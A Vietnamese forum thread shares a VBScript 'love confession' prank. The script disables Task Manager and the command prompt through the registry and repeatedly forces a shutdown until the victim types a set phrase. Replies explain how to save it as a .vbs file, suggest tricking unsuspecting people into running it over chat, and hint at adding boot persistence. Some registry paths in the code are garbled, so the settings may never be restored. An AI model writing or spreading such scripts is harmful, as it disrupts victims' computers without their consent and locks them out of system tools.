lời tỏ tình bằng worm

[alternative.isme]

mình lướt qua HVA thấy đoạn code này hay . mình chỉnh lại chút đỉnh rồi sẻ chia anh em ghẹo gái chơi . ae copy rồi paste vào notepad rồi save với file.vbs . nếu thấy hay thank cái vì mình cũng có công với cánh mạng mà.

code:


dim r

set r=CreateObject("Wscript.Shell")

r.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Po licies\System\Disable TaskMgr", "1", "REG_DWORD"

r.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\Disable CMD","1","REG_DWORD"

dim a,wsh

set wsh=CreateObject("Wscript.Shell")

do while(a<>"yêu anh thật lòng")

a=inputbox("anh có câu này hỏi em , em hay trả thời (gian) ""yêu anh thật lòng"" nếu em không thì máy em sẻ tắt","anh yêu em","tra lời anh nha?")

if a="yêu anh thật lòng" then

msgbox "cam ơn em nhiều lắm!! :-x"

r.RegWrite "HKEY_CURRENT_USER\Software\Wicrosoft\Windows\Curr entversion\Policies\System\DisableTaskMgr","0","RE G_DWORD"

r.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableCMD","0","REG_DW ORD"

exit do

else

wsh.run "shutdown -s -t 20 -c ""thôi em đừng khóc!"" "

msgbox "có yêu anh không hã !",20,"ha ha ha ha"

end if

loop


trương trinh sẻ hỏi và người trả lời phải ghi đúng chử : yêu anh thât lòng. nêu không viết như vậy thì máy sẻ tự động tắt trong 20 giây

 

[copecodon_1411]

hay hay. thế lỡ e ý chấp nhận tắt máy rùi tát mình lun thì sao

 

[Bavol]

djsmema hay hay. thế lỡ e ý chấp nhận tắt máy rùi tát mình lun thì sao đáng lẻ có thêm vái dòng code đưa vào key regedit để mỗi lần mở máy lên sẻ tiếp tục hỏi ... vậy chắc hay hơn.tự mò đi .. vì làm vậy ác lắm

 

[ducvinh_tbvn]

bác chỉ dẫn cách sử dụng với nghe có vẻ hay hay mà gà quá không làm dc

 

[tinhmy]

lyshady12 bác chỉ dẫn cách sử dụng với nghe có vẻ hay hay mà gà quá không làm dc hi hi. bạn chon save as ... rồi lưu với phần_mở_rộng.vbs . phần encoding chọn unicode

 

[pitago1105]

bấm vào nhấp nhấp vài cái máy tắt chỏng cẳng. cũng hay nhưng thế này làm sao lừa được nó hả giời. vớ vẫn quá

 

[dothanhphuc_1992]

hieu04 bấm vào nhấp nhấp vài cái máy tắt chỏng cẳng. cũng hay nhưng thế này làm sao lừa được nó hả giời. vớ vẫn quá gởi qua yahoo chat . cái này lừa người không biết gì thôi , chứ thấy đuôi vbs chắc không ai giám nhận

---------- Bài thêm lúc 15:30 ---------- Bài trước là lúc 15:03 ----------

strtext=(" hello! MY Love . I love YOU ")

set objvoice = createobject("sapi.spvoice")

objvoice.speak strtext

`..........................

copy rồi cho vào đầu đoạn trên nha . nó sẻ nói (" hello! MY Love . I love YOU ")